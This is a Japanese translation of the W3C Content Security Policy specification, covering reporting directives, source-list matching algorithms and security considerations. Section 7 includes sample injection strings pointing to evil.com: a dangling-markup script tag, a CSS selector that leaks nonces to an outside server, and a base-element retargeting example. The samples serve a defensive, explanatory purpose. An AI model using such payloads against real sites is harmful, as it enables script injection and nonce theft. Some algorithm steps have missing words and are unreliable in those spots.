このディレクティブは、``X-Frame-Options`` HTTPレスポンスヘッダーと類似しています。'none'ソース式はこのヘッダーのDENYにほぼ相当し、'self'はこのヘッダーのSAMEORIGINに対応します。[HTML]

後方互換性のあるデプロイを可能にするため、frame-ancestorsディレクティブは ``X-Frame-Options``ヘッダーを上書きします。リソースが、policydirectiveとして frame-ancestorsという名前が含まれ、そのdispositionが "enforce"の場合、 ``X-Frame-Options``ヘッダーは HTMLの処理モデルに従って無視されます。

6.5. レポート指令

本書の様々なアルゴリズムは、violationオブジェクトを§ 2.4.2 リクエストおよびポリシー用違反オブジェクトの作成または§ 2.4.1 グローバル・ポリシー・指令用違反オブジェクトの作成で構築し、§ 5.5 違反を報告するに渡してレポート処理にフックします。

6.5.1. report-uri

注: report-uri指令は廃止予定です。代わりにreport-to指令を利用してください。後者が存在する場合、この指令は無視されます。後方互換性のため、以下のように両方指定することを推奨します:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

report-uri指令は、特定の動作が防止されたときにCSP違反レポートを送信する宛先エンドポイントを定義します。

directive-name  = "report-uri"
directive-value = uri-reference *( required-ascii-whitespace uri-reference )
; uri-reference文法はRFC 3986セクション4.1に定義されています。

この指令自体には効果はなく、他の指令と組み合わせて初めて意味を持ちます。

6.5.2. report-to

report-to指令は違反レポートを送るべきレポートエンドポイントを定義します[REPORTING]。挙動は§ 5.5 違反を報告するで定義されています。指令名と値の構文は以下のABNFです:

directive-name  = "report-to"
directive-value = token

6.6. 他文書で定義された指令

本書は指令のコアセットを定義し、他仕様によるモジュール拡張の枠組みを設けています。本書執筆時点でCSPを拡張する安定文書例:

CSP拡張は[RFC7762]の手順で登録する必要があります(MUST)。特に、当該文書のセクション4.2の基準に注意してください。

新しい指令は、FetchやHTMLに統合するため、事前リクエストチェック事後リクエストチェック初期化フックを利用すべきです(SHOULD)。

6.7. 照合アルゴリズム

6.7.1. スクリプト指令チェック

6.7.1.1. スクリプト指令事前リクエストチェック

リクエスト requestディレクティブ directiveポリシー policyオリジン self-origin が与えられた場合:

  1. requestdestinationscript-like の場合:

    1. § 6.7.2.3 ノンスがソースリストに一致するかrequest暗号学的ノンスメタデータ と このディレクティブの で実行した結果が "Matches" の場合、"Allowed" を返す。

    2. § 6.7.2.4 インテグリティメタデータがソースリストに一致するかrequestインテグリティメタデータ と このディレクティブの で実行した結果が "Matches" の場合、"Allowed" を返す。

    3. directiveソース式 が含まれ、 それが "'strict-dynamic'" keyword-source とASCIIケース非区別で一致する場合:

      1. requestパーサーメタデータ"parser-inserted"の場合、"Blocked" を返す。

        それ以外の場合、"Allowed" を返す。

        注: "'strict-dynamic'" の詳細は § 8.2 "'strict-dynamic'" の利用方法で説明されている。

    4. § 6.7.2.5 リクエストがソースリストに一致するかrequestdirectiveself-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  2. "Allowed" を返す。

6.7.1.2. スクリプト指令事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

リクエスト requestレスポンス responseディレクティブ directiveポリシー policyオリジン self-origin が与えられた場合:

注: このチェックは requestresponse を両方引数として必要とする。 もし request暗号学的ノンスメタデータ または インテグリティメタデータ が一致すれば、 スクリプトの読み込みが許可されるため、response のURLがソースリストに一致するかのチェックはスキップされる。

  1. requestdestinationscript-like の場合:

    1. potentially report hashresponserequestdirectivepolicyで呼び出す。

    2. § 6.7.2.3 ノンスがソースリストに一致するかrequest暗号学的ノンスメタデータ と このディレクティブの で実行した結果が "Matches" の場合、"Allowed" を返す。

    3. § 6.7.2.4 インテグリティメタデータがソースリストに一致するかrequestインテグリティメタデータ と このディレクティブの で実行した結果が "Matches" の場合、"Allowed" を返す。

    4. directiveソース式 が含まれ、 それが "'strict-dynamic'" keyword-source とASCIIケース非区別で一致する場合:

      1. requestパーサーメタデータ"parser-inserted"の場合、"Blocked" を返す。

        それ以外の場合、"Allowed" を返す。

        注: "'strict-dynamic'" の詳細は § 8.2 「'strict-dynamic'」の利用方法で説明されている。

    5. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequestdirectiveself-origin で実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  2. "Allowed" を返す。

6.7.2. URL照合

6.7.2.1. requestpolicyに違反しているか?

次のものが与えられた場合:リクエスト requestポリシー policyオリジン self-originが与えられた場合、このアルゴリズムはリクエストがポリシーに違反した場合は 違反したディレクティブを、 そうでなければ "Does Not Violate" を返す。

  1. requestinitiatorが"prefetch"の場合、 § 6.7.2.2 リソースヒントリクエストがポリシーに違反するかrequestpolicyself-originで実行した結果を返す。

  2. violatesを"Does Not Violate"とする。

  3. directiveについて policy を繰り返す:

    1. resultdirective事前リクエストチェックrequestpolicyself-originで実行した結果とする。

    2. resultが"Blocked"の場合、 violatesdirectiveを設定する。

  4. violatesを返す。

6.7.2.2. リソースヒントrequestpolicyに違反しているか?

次のものが与えられた場合:リクエスト requestポリシー policyオリジン self-originが与えられた場合、このアルゴリズムはリソースヒントリクエストが全てのポリシーに違反した場合は デフォルトディレクティブを返し、 そうでなければ "Does Not Violate" を返す。

  1. defaultDirectivepolicy の最初の ディレクティブで、その name が "default-src"であるものとする。

  2. defaultDirective が存在しない場合、"Does Not Violate" を返す。

  3. directiveについて policy を繰り返す:

    1. directivename が以下のいずれかでない場合:

      • child-src

      • connect-src

      • font-src

      • frame-src

      • img-src

      • manifest-src

      • media-src

      • object-src

      • script-src

      • script-src-elem

      • style-src

      • style-src-elem

      • worker-src

      次のディレクティブへ。

    2. Assert: directiveソースリストである。

    3. result§ 6.7.2.5 リクエストがソースリストに一致するかrequestdirectiveself-originで実行した結果とする。

    4. result が "Allowed" の場合、"Does Not Violate" を返す。

  4. defaultDirective を返す。

6.7.2.3. noncesource listと一致するか?

request暗号学的nonceメタデータ noncesource list source listが与えられた場合、このアルゴリズムはnonceがリスト内の1つ以上のソース式と一致すれば"Matches"、そうでなければ"Does Not Match"を返す:

  1. 保証:source listはnullではない。

  2. nonceが空文字列なら"Does Not Match"を返す。

  3. source list内の各 expressionについて:

    1. expressionnonce-source文法に一致し、nonceexpressionbase64-value部分と一致すれば"Matches"を返す。

  4. "Does Not Match"を返す。

6.7.2.4. integrity metadatasource listと一致するか?

与えられた requestintegrity metadata integrity metadata と、source list source list に対して、 このアルゴリズムはintegrity metadataがリスト内の1つ以上のsource expressionに一致する場合 "Matches"、そうでなければ "Does Not Match" を返します:

  1. Assert: source list は null でない。

  2. integrity expressions を、 source list 内の source expression で、 hash-source 文法に 一致するものの集合とする。

  3. もし integrity expressions が空なら "Does Not Match" を返す。

  4. integrity sources を、 integrity metadata を与えて メタデータを解析 した結果とする。 [SRI]

  5. もし integrity sources が "no metadata" または空集合なら "Does Not Match" を返す。

  6. sourceintegrity sources より取り出し:

    1. integrity expressionssource expression を含まない場合。 その hash-algorithmASCII大文字小文字無視sourcehash-algorithm と一致し、 かつ base64-value同一 である sourcebase64-value を持つものについて、 "Does Not Match" を返す。

  7. "Matches" を返す。

Note: ここでは integrity metadatasource listhash-source のソースの非空部分集合かどうかだけを検証します。 サブリソース整合性 [SRI] によるブラウザの強制により、レスポンス時に一致しないリソースのブロックが行われることに依存します。

6.7.2.5. requestsource listと一致するか?

リクエスト requestソースリスト source listオリジン self-origin が与えられた場合、このアルゴリズムは request§ 6.7.2.7 URL が origin 内のソースリストとリダイレクト回数付きで一致するか を、 request現在のURLsource listself-origin、および requestリダイレクト回数 で実行した結果を返す。

注: これは一般に指令事前リクエストチェックアルゴリズムで、与えられたrequestが妥当か検証するために使われます。

6.7.2.6. responserequestに対してsource listと一致するか?

レスポンス responseリクエスト requestソースリスト source listオリジン self-origin が与えられた場合、このアルゴリズムは response§ 6.7.2.7 URL が origin 内のソースリストとリダイレクト回数付きで一致するか を、 responseURLsource listself-originrequestリダイレクト回数 で実行した結果を返す。

注: これは一般に指令事後リクエストチェックアルゴリズムで、与えられたresponseが妥当か検証するために使われます。

6.7.2.7. urlsource listoriginredirect countで一致するか?

URL urlsource list source listorigin origin、数値redirect countが与えられた場合、このアルゴリズムはURLがsource list内のいずれかのソース式と一致すれば"Matches"、そうでなければ"Does Not Match"を返す:

  1. アサート:source list は null でない。

  2. source list なら、 "Does Not Match" を返す。

  3. source listサイズ が 1 かつ source list[0] が文字列 "'none'" と ASCII 大文字小文字無視で一致する場合、 "Does Not Match" を返す。

    注: 空の source list(つまり値のないディレクティブ:script-srcscript-src host1 とは対照的)が 'none' を含むsource listと等価であり、 いずれのURLとも一致しません。

    注: 'none' キーワードは他の source expression が 存在する場合には効果がありません。つまり、リスト「 'none' 」はいずれのURLとも一致しません。 一方で「 'none', https://example.com 」というリストは https://example.com/ に一致します。

  4. expressionsource list より取り出し:

    1. § 6.7.2.8 URLがoriginとリダイレクト回数付きで expression に一致するか?url, expression, origin, redirect count で実行し、 "Matches" を返した場合、 "Matches" を返す。

  5. "Does Not Match" を返す。

6.7.2.8. urlexpressionoriginredirect countで一致するか?

URL urlソース式 expressionオリジン origin、数字 redirect count が与えられた場合、 このアルゴリズムは urlexpression に一致する場合は "Matches" を返し、 一致しない場合は "Does Not Match" を返す。

注: originexpression を解決する際のリソースのオリジンである。例えば "'self'" は、 そのコンテキストに応じて異なる意味になる。

  1. もし expression が文字列 "*" なら、次のいずれかの条件を満たす場合 "Matches" を返す:

    1. urlschemeHTTP(S) scheme の場合。

    2. urlschemeoriginscheme と同じ場合。

    注: このロジックは、non-HTTP(S) scheme のリソースを許可するには、 明示的に指定(例: default-src * data: custom-scheme-1: custom-scheme-2:) するか、保護対象リソースが同じ scheme でロードされる必要があることを意味します。

  2. もし expressionscheme-source または host-source 文法に一致する場合:

    1. expressionscheme-part を持ち、 それが scheme-part matchurlscheme と一致しない場合、"Does Not Match" を返す。

    2. もし expressionscheme-source 文法に一致する場合、 "Matches" を返す。

  3. もし expressionhost-source 文法に一致する場合:

    1. もし urlhost が null ならば、"Does Not Match" を返す。

    2. もし expressionscheme-part を持たず、 かつ originschemescheme-part matchurlscheme と一致しないなら、 "Does Not Match" を返す。

      Note: 上の scheme-part と同様に、 scheme を持たない host-source 式は、 非安全な scheme から安全な scheme へのアップグレードを許可する。

    3. もし expressionhost-parthost-part matchurlhost と一致しないなら、"Does Not Match" を返す。

    4. port-part を、存在するなら expressionport-part、そうでなければ null とする。

    5. もし port-partport-part matchurl と一致しないなら、"Does Not Match" を返す。

    6. もし expression が空でない path-part を含み、 かつ redirect count が 0 ならば、次を行う:

      1. path を、url に対して URL path serializer を実行した結果とする。

      2. もし expressionpath-partpath-part matchpath と一致しないなら、 "Does Not Match" を返す。

    7. "Matches" を返す。

  4. もし expressionASCII 大文字小文字無視で "'self'" と一致する場合、 次のいずれかの条件を満たせば "Matches" を返す:

    1. originurlorigin と同じ

    2. originhosturlhost と同じであり、 originporturlport が同じか、各自の default ports であり、 さらに次のいずれかの条件を満たす場合:

      1. urlscheme が "https" または "wss"

      2. originscheme が "http" かつ urlscheme が "http" または "ws"

    注: 上の scheme-part ロジックと同じく、 "'self'" の一致アルゴリズムは、安全な場合に secure scheme へのアップグレードを許可します。 これらのアップグレードは、特定のschemeのデフォルトポートで実行されるエンドポイントまたは 保護されたリソースのoriginに一致するポートに限定しています。これは アップグレードが成功すると期待できる十分な条件と思われます。

  5. "Does Not Match" を返す。

6.7.2.9. scheme-part一致

ASCII文字列 scheme-part 一致 とは、もう一方の ASCII文字列 と比較し、最初の文字列を scheme-part として含む CSPソース式が、 後者を scheme として含むURLにマッチする可能性がある場合を指す。 例えば、"http" は "https" と scheme-part 一致するという。

注: この一致関係は非対称的である。 たとえばソース式 https:https://example.com/http://example.com/ には一致しない。 常に、明示的に非安全な式から安全な方向へのアップグレードを許可する。 script-src http:script-src http: https: と、 script-src http://example.comscript-src http://example.com https://example.com と、 connect-src ws:connect-src ws: wss: と 同等に扱われる。

より形式的には、2つの ASCII文字列 ABscheme-part 一致 するとき、 次のアルゴリズムが "Matches" を返す場合とする:

  1. 次のいずれかが成立すれば"Matches" を返す:

    1. AASCII大文字小文字無視B と一致する場合。

    2. AASCII大文字小文字無視で "http" と一致し、かつ BASCII大文字小文字無視で "https" と一致する場合。

    3. AASCII大文字小文字無視で "ws" と一致し、かつ BASCII大文字小文字無視で "wss"、"http" または "https" と一致する場合。

    4. AASCII大文字小文字無視で "wss" と一致し、かつ BASCII大文字小文字無視で "https" と一致する場合。

  2. "Does Not Match" を返す。

6.7.2.10. host-part一致

ASCII文字列host-part一致は、最初の値をhost-partとして含むCSPソース式が、後者をhostとして持つURLと一致する可能性がある場合に成立します。例えば、"www.example.com"は"www.example.com"とhost-part一致します。

より形式的には、ASCII文字列patternhosthostが"host-part一致"であるとは、以下のアルゴリズムが"Matches"を返す場合です:

注: 照合関係は非対称です。つまり、patternhostと一致しても、hostpatternと一致するとは限りません。例えば、*.example.comwww.example.comとhost-part一致しますが、www.example.com*.example.comとhost-part一致しません。

注: 将来のバージョンでは、リテラルIPv6やIPv4アドレスの許可が検討される可能性がありますが、命名されたホストに比べてIPアドレスのセキュリティ特性が弱いため、可能な限り命名ホストの利用が推奨されます。

  1. もし hostドメイン でなければ、 "Does Not Match" を返す。

  2. もし pattern が "*" なら、"Matches" を返す。

  3. もし pattern が "*." で始まるなら:

    1. remainingpattern の先頭の U+002A (*) を除き、 ASCII小文字化したものとする。

    2. hostASCII小文字化して remainingで終わるなら、 "Matches" を返す。

    3. "Does Not Match" を返す。

  4. もし patternhost に対して ASCII大文字小文字無視一致でなければ、 "Does Not Match" を返す。

  5. "Matches" を返す。

6.7.2.11. port-part一致

ASCII文字列またはnullinputport-part一致は、最初の値をport-partとして含むCSPソース式が、後者のURLportおよびschemeと一致する可能性がある場合に成立します。例:"80"はhttp://example.comとport-part一致します。

  1. 保証:inputはnull、"*",または1つ以上のASCII数字

  2. inputが"*"と等しければ"Matches"を返す。

  3. normalizedInputinputがnullならnull、そうでなければdecimal数値として解釈したものとする。

  4. normalizedInputurlportと等しければ"Matches"を返す。

  5. urlportがnullなら:

    1. defaultPorturlschemeのデフォルトポートとする。

    2. normalizedInputdefaultPortと等しければ"Matches"を返す。

  6. "Does Not Match"を返す。

6.7.2.12. path-part一致

ASCII文字列path Apath-part一致は、最初の値をpath-partとして含むCSPソース式が、後者をpathとして持つURLと一致する可能性がある場合に成立します。例:"/subdirectory/"は"/subdirectory/file"とpath-part一致します。

注: 照合関係は非対称です。つまり、path Apath Bと一致しても、path Bpath Aと一致するとは限りません。

  1. path Aが空文字なら"Matches"を返す。

  2. path Aが1文字でU+002F SOLIDUS文字(/)であり、path Bが空文字なら"Matches"を返す。

  3. path Aの最後の文字がU+002F SOLIDUS文字(/)ならexact matchfalse、そうでなければtrueとする。

  4. path list Apath list BをそれぞれU+002F SOLIDUS文字(/)で厳密分割した結果とする。

  5. path list Aの要素数がpath list Bより多ければ"Does Not Match"を返す。

  6. exact matchtrueで、path list Aの要素数がpath list Bの要素数と一致しなければ"Does Not Match"を返す。

  7. exact matchfalseの場合:

    1. 保証:path list Aの最後の要素は空文字である。

    2. path list Aの最後の要素を削除する。

  8. path list Aの各 piece Aについて:

    1. piece Bをpath list Bの次の要素とする。

    2. decoded piece Apiece Aパーセントデコード結果とする。

    3. decoded piece Bpiece Bパーセントデコード結果とする。

    4. decoded piece Adecoded piece Bが一致しなければ"Does Not Match"を返す。

  9. "Matches"を返す。

6.7.3. 要素照合アルゴリズム

6.7.3.1. elementはnonce可能か?

ある Element element が与えられたとき、このアルゴリズムは nonce-source式が要素にマッチできる場合 (§ 7.2 ノンス乗っ取りで説明)には "Nonceable" を返し、 そのような式が適用されるべきでない場合は "Not Nonceable" を返します。

  1. もし element が "nonce" という属性を持っていなければ、 "Not Nonceable" を返す。

  2. もし elementscript 要素なら、 属性ごとelement属性リスト を調べる:

    1. もし attribute の名前に "<script" または "<style" が ASCII大文字小文字無視一致で含まれていれば、 "Not Nonceable" を返す。

    2. もし attribute の値に "<script" または "<style" が ASCII大文字小文字無視一致で含まれていれば、 "Not Nonceable" を返す。

  3. もし element重複属性パースエラーを トークン化時に発生させていた場合、 "Not Nonceable" を返す。

    これを利用する場合、HTMLでこのエラーを記録する フックが必要です。[whatwg/html Issue #3257]

  4. "Nonceable" を返す。

この処理はノンスを盗むような 脆弱なマークアップ攻撃による危険性を軽減する意図があり、 既存要素のノンスを利用してスクリプトを挿入することを防ぐ。 しかし、全属性とその値を確認する必要があり、かなり負荷が高い。 そこで、nonceのある script 要素のみでこのチェックを最小限に行うが、このアルゴリズムは十分な影響調査ができるまで "at risk"として扱うべきだろう。[w3c/webappsec-csp Issue #98]

6.7.3.2. ソースリストはtypeの全インライン挙動を許可するか?

与えられた type に対して、source listkeyword-source の式 'unsafe-inline' を含み、かつ以下のアルゴリズムで述べるように その式が上書きされない場合、 すべてのインライン動作を許可する と言う。

source list list と文字列 type が与えられたとき、 次のアルゴリズムは、与えられた type のすべてのインラインコンテンツが許可される場合は "Allows" を、そうでない場合は "Does Not Allow" を返す。

  1. allow all inlinefalse とする。

  2. expressionlist から取り出して:

    1. もし expressionnonce-source または hash-source 文法に一致するなら、 "Does Not Allow" を返す。

    2. もし type が "script"、"script attribute"、または "navigation" であり、かつ expressionkeyword-source "'strict-dynamic'" に一致するなら、 "Does Not Allow" を返す。

      Note: 'strict-dynamic' はスクリプトにのみ適用され、他のリソース種別には適用されない。利用法については § 8.2 Usage of "'strict-dynamic'" でより詳しく説明される。

    3. もし expressionASCII 大文字小文字を区別しない比較で keyword-source "'unsafe-inline'" に一致するなら、 allow all inlinetrue に設定する。

  3. もし allow all inlinetrue なら "Allows" を返す。 それ以外の場合は "Does Not Allow" を返す。

ソースリストで、 すべてのインライン動作を許可するもの:
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

ソースリストのうち、 ノンスやハッシュが存在する、あるいは 'unsafe-inline' が存在しないために すべてのインライン動作を許可しないもの:

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

ソースリストのうち、 type が 'script' または 'script attribute' のときは 'strict-dynamic' の存在により すべてのインライン動作を許可しないが、 それ以外の場合には すべてのインライン動作を許可するもの:

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. elementtypesourceでソースリストと一致するか?

Element elementsource list list、文字列type、文字列sourceが与えられた場合、このアルゴリズムは"Matches"または"Does Not Match"を返します。

注: ドキュメントのエンコーディングに関わらず、sourceはハッシュアルゴリズム適用前にUTF-8へ変換されます。

  1. § 6.7.3.2 ソースリストはtypeの全インライン挙動を許可するか?listtypeで"Allows"なら"Matches"を返す。

  2. typeが"script"または"style"で、§ 6.7.3.1 要素はnonce可能か?elementで"Nonceable"を返した場合:

    1. list内の各expressionについて:

      1. expressionnonce-source文法に一致し、 elementnonce属性を持ち、その値がexpressionbase64-value部分と一致すれば"Matches"を返す。

    注: nonceはインラインscript・インラインstyleにのみ適用され、どちらの要素の属性やjavascript:ナビゲーションには適用されません。

  3. unsafe-hashes flagfalseに設定。

  4. list内の各expressionについて:

    1. もし expressionASCII 大文字小文字を区別しない比較で keyword-source "'unsafe-hashes'" と一致する場合、 unsafe-hashes flagtrue に設定し、このループを抜ける。

  5. typeが"script"または"style"、またはunsafe-hashes flagtrueの場合:

    1. sourcesourceJavaScript文字列変換を適用し、さらにUTF-8エンコードした結果に設定。

    2. list内の各expressionについて:

      1. expression が "'strict-dynamic'" keyword-source の場合:

        1. type が "script" であり、 elementparser-inserted でない場合、"Matches" を返す。

      2. expressionhash-source文法に一致する場合:

        1. algorithm を null とする。

        2. もし expressionhash-algorithm 部分が "sha256" と ASCII 大文字小文字を区別しない比較で一致するなら、 algorithmSHA-256 とする。

        3. もし expressionhash-algorithm 部分が "sha384" と ASCII 大文字小文字を区別しない比較で一致するなら、 algorithmSHA-384 とする。

        4. もし expressionhash-algorithm 部分が "sha512" と ASCII 大文字小文字を区別しない比較で一致するなら、 algorithmSHA-512 とする。

        5. もし algorithm が null でなければ:

          1. actual を、algorithmsource に適用した結果を base64 エンコードした結果とする。

          2. expected を、expressionbase64-value 部分から、 すべての '-' 文字を '+' に、 すべての '_' 文字を '/' に 置き換えたものとする。

            Note: この置換により、 base64url エンコーディングで表現されたハッシュを、 マッチングのために base64 エンコーディングへ正規化する。

          3. もし actual同一 比較で expected と一致するなら、 "Matches" を返す。

    注: ハッシュはインラインscript・インラインstyleに適用されます。'unsafe-hashes'ソース式があれば、イベントハンドラ・style属性・javascript:ナビゲーションにも適用されます。

  6. "Does Not Match"を返す。

6.8. 指令アルゴリズム

6.8.1. request用有効指令取得

fetch指令は、requestの特定のdestinationを制御します。 request requestが与えられた場合、次のアルゴリズムはnullまたはリクエストの有効指令名を返します:

  1. requestinitiatorが"prefetch"または"prerender"なら、 default-srcを返す。

  2. requestdestinationにより以下の手順を実行:

    空文字列
    1. connect-srcを返す。

    "manifest"
    1. manifest-srcを返す。

    "object"
    "embed"
    1. object-srcを返す。

    "frame"
    "iframe"
    1. frame-srcを返す。

    "audio"
    "track"
    "video"
    1. media-srcを返す。

    "font"
    1. font-srcを返す。

    "image"
    1. img-srcを返す。

    "style"
    1. style-src-elemを返す。

    "script"
    "xslt"
    "audioworklet"
    "paintworklet"
    1. script-src-elemを返す。

    "serviceworker"
    "sharedworker"
    "worker"
    1. worker-srcを返す。

    "json"
    "webidentity"
    1. connect-srcを返す。

    "report"
    1. nullを返す。

  3. connect-srcを返す。

注: アルゴリズムはconnect-srcをデフォルトフォールバックとして返します。これは新しいfetch destinationが追加され、他カテゴリに明示的に該当しない場合を想定しています。

6.8.2. インラインチェック用有効指令取得

文字列typeが与えられた場合、このアルゴリズムは有効指令名を返します。

注: 有効指令はリクエストのみ定義されますが、このアルゴリズムではインラインチェックに関連する最も適切な指令として扱います。

  1. typeで分岐:

    "script"
    "navigation"
    1. script-src-elemを返す。

    "script attribute"
    1. script-src-attrを返す。

    "style"
    1. style-src-elemを返す。

    "style attribute"
    1. style-src-attrを返す。

  2. nullを返す。

6.8.3. fetch指令フォールバックリスト取得

特定の指令のフォールバックordered setを返します。結果は関連性が高い順に並び、有効指令自体も含まれます。

文字列directive nameが与えられた場合:

  1. directive nameで分岐:

    "script-src-elem"
    1. << "script-src-elem", "script-src", "default-src" >>を返す。

    "script-src-attr"
    1. << "script-src-attr", "script-src", "default-src" >>を返す。

    "style-src-elem"
    1. << "style-src-elem", "style-src", "default-src" >>を返す。

    "style-src-attr"
    1. << "style-src-attr", "style-src", "default-src" >>を返す。

    "worker-src"
    1. << "worker-src", "child-src", "script-src", "default-src" >>を返す。

    "connect-src"
    1. << "connect-src", "default-src" >>を返す。

    "manifest-src"
    1. << "manifest-src", "default-src" >>を返す。

    "object-src"
    1. << "object-src", "default-src" >>を返す。

    "frame-src"
    1. << "frame-src", "child-src", "default-src" >>を返す。

    "media-src"
    1. << "media-src", "default-src" >>を返す。

    "font-src"
    1. << "font-src", "default-src" >>を返す。

    "img-src"
    1. << "img-src", "default-src" >>を返す。

  2. << >>を返す。

6.8.4. fetch指令を実行すべきか

このアルゴリズムはfetch指令が実行されるべきか、より適した別指令に委譲すべきかを決定します。 例えばeffective directive nameworker-src(ワーカーリクエストのチェック)なら、worker-srcscript-src指令が存在する場合はdefault-src指令は実行すべきではありません。

文字列effective directive name、文字列directive namepolicy policyが与えられた場合:

  1. directive fallback list§ 6.8.3 fetch指令フォールバックリスト取得effective directive nameに対して実行した結果とする。

  2. directive fallback listの各fallback directiveについて:

    1. directive namefallback directiveと一致すれば"Yes"を返す。

    2. policyfallback directive名の指令を含んでいれば"No"を返す。

  3. "No"を返す。

7. セキュリティとプライバシーに関する考慮事項

7.1. Nonceの再利用

Nonceは、その指令内の他の制限を上書きします。そのため、推測困難な値であることが非常に重要です。そうでなければ、リソースのポリシーを攻撃者が簡単に迂回できてしまいます。

サーバーがnonce-source式をポリシーの一部として送信する場合、サーバーはポリシー送信ごとに一意な値を生成しなければなりません(MUST)。生成値はエンコード前で少なくとも128ビットであることが推奨され(SHOULD)、暗号学的に安全な乱数生成器で生成されるべきです(SHOULD)。これにより値が攻撃者に予測されにくくなります。

注: インラインスクリプトやスタイルを許可するためにnonceを使うのは、nonceを使わないよりも安全性が低いです。nonceは指令内の制限を上書きするため、攻撃者がnonceにアクセスできれば好きなスクリプトをいつでも実行できてしまいます。ただし、古いコードにCSPを重ねる場合、nonceは'unsafe-inline'より大幅な安全性向上をもたらします。'unsafe-inline'の使用を検討する際は、nonce(またはハッシュ)の利用を推奨します。

7.2. Nonceハイジャック

7.2.1. ダングリングマークアップ攻撃

[FILEDESCRIPTOR-2015]で議論されているようなダングリングマークアップ攻撃は、ページの正当なnonceをインジェクションに流用するために使われます。たとえば、次のようなインジェクションポイントがscript要素の前にある場合:

<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>

攻撃者が"<script src='https://evil.com/evil.js' "をインジェクトすると、ブラウザは次のように受信します:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

その結果、script要素は、悪意あるsrc属性、</p>属性、"<script"属性、nonce属性、重複したsrc属性(パーサにより破棄)を持つことになります。

§ 6.7.3.1 要素はnonce可能か?アルゴリズムは、この攻撃を軽減するためにscriptstyle要素の属性名・値に"<script"や"<style"が含まれていないかを調べます。

ユーザーエージェントはこのアルゴリズム実装時に、重複属性を無視しないよう特に注意しなければなりません。要素に重複属性があれば、最初以外は通常無視されますが、§ 6.7.3.1 要素はnonce可能か?アルゴリズムでは全て(重複も含め)チェックする必要があります。

現状HTML仕様のパースアルゴリズムは、この情報を§ 6.7.3.1 要素はnonce可能か?アルゴリズム実行前に削除してしまうため、実際に重複属性を検出できません。[whatwg/html Issue #3257]

次の例のページ:

Hello, [INJECTION POINT]
<script nonce=abc src=/good.js></script>

次のインジェクト文字列は、重複属性を使って§ 6.7.3.1 要素はnonce可能か?チェックを回避しようとします:

Hello, <script src='https://evil.com/evil.js' x="" x=
<script nonce="abcd" src=/good.js></script>

7.2.2. content属性経由のNonce流出

CSPへの攻撃の一部は、様々な手段でnonceデータをcontent属性から抜き出す能力に依存します。CSSセレクタは最良の例です:prefix/postfixテキスト照合セレクタを巧妙に使うことで、値を攻撃者のサーバーに送信し再利用できます。例:

script[nonce=a] { background: url("https://evil.com/nonce?a");}

nonceセクションでは、これらの攻撃を軽減するため、nonceを要素のcontent属性から隠し、内部スロットに移動する方法について説明しています。これにより、nonce値はスクリプトには公開されますが、他の非スクリプトチャネルには公開されません。

7.3. Nonceリターゲティング

Nonceはhost-source式を迂回し、任意のオリジンからコードロードを可能にします。これは多くの場合問題ありませんが、攻撃者がbase要素を挿入できる場合、安全なページも相対URL解決時に乗っ取られます。つまり、https://example.com/上で次のコードはhttps://example.com/good.jsをロードします:

<script nonce=abc src=/good.js></script>

しかし、次のようにするとhttps://evil.com/good.jsをロードします:

<base href="https://evil.com">
<script nonce=abc src=/good.js></script>

このリスクを軽減するには、全ページで明示的なbase要素を設定するか、攻撃者がbase要素を挿入できないよう、ページポリシーにbase-uri指令(例:base-uri 'none')を定義しましょう。

7.4. CSSパース

style-src指令は、保護対象リソースがスタイルをロードできる場所を制限します。しかし、ユーザーエージェントが緩いCSSパースアルゴリズムを使っている場合、攻撃者が信頼できそうなオリジンで悪意ある「スタイルシート」を受理させる可能性があります。

これらの攻撃はChris Evansが2009年に記述したCSSクロスオリジンデータ漏洩攻撃[CSS-ABUSE]に類似しています。ユーザーエージェントは、スタイルシートのMIMEタイプが不正な場合により厳格なCSSパースルールを適用することで、両方の攻撃に同じメカニズムで防御すべきです(SHOULD)。

7.5. 違反レポート

本書の違反レポート機構は、悪意のあるウェブサイトが違反レポートを使って他サーバーの挙動を探るリスクを軽減するよう設計されています。例えば、悪意あるサイトが画像ソースとしてhttps://example.comを許可している場合、そのサイトがhttps://example.com/loginを画像として読み込むと、example.comサーバーがidentity provider(例:identityprovider.example.net)へリダイレクトした場合CSPがリクエストをブロックします。違反レポートにブロックされたURL全体が含まれていた場合、リダイレクト先のURLに含まれるセッションIDやユーザーIDなどの機微情報が漏れる可能性があります。このため、ユーザーエージェントは元のリクエストURLのみ(リダイレクト先ではなく)をレポートに含めます。

また、違反レポートは攻撃者が制御可能なデータとみなすべきです。ダッシュボード等で違反レポートを収集・表示する場合は、内容を適切にエスケープしてレンダリングしてください(CSPの利用も推奨)。特に違反レポートの"script-sample"プロパティやsampleプロパティ、SecurityPolicyViolationEventは完全に攻撃者制御文字列です。

7.6. パスとリダイレクト

Egor Homakovの Using Content-Security-Policy for Evil で議論されているように、クロスオリジンでパス情報が漏れるのを防ぐため、照合アルゴリズムはリソースがリダイレクトの結果である場合、ソース式のパス部分を無視します。例えば、ポリシーimg-src example.com example.org/pathが有効なページの場合:

この制限により、リダイレクトが絡む場合ポリシーの粒度は下がりますが、この種の情報漏洩を防ぐための必要な妥協です。

より詳細な議論は "Remove paths from CSP?" のpublic-webappsec@w3.orgスレッド参照。

7.7. 安全なアップグレード

Yan Zhuの Snifflyのような履歴スキャン攻撃の一種を防ぐため、CSPはscript-src http://example.comのようなポリシーでページが不安全URLに固定されることを許可しません。§ 6.7.2.9 scheme-part一致で説明されている通り、ソース式のscheme部分は常に安全なバリアントへのアップグレードを許容します。

7.8. CSPの継承によるバイパス防止

ローカルスキームからロードされるドキュメントは、元ドキュメントのポリシーのコピーを継承します。これは、ページがiframe埋め込みや新ウィンドウで完全に支配可能なコンテンツ(srcdocドキュメント、blob:data:URL、about:blankdocument.write()等)を介してポリシーをバイパスできないようにするためです。

これがなければ、ページはunsafe-inlineなしでも、srcdociframeを埋め込むだけでインラインスクリプトを実行できてしまいます。
<iframe srcdoc="<script>alert(1);</script>"></iframe>

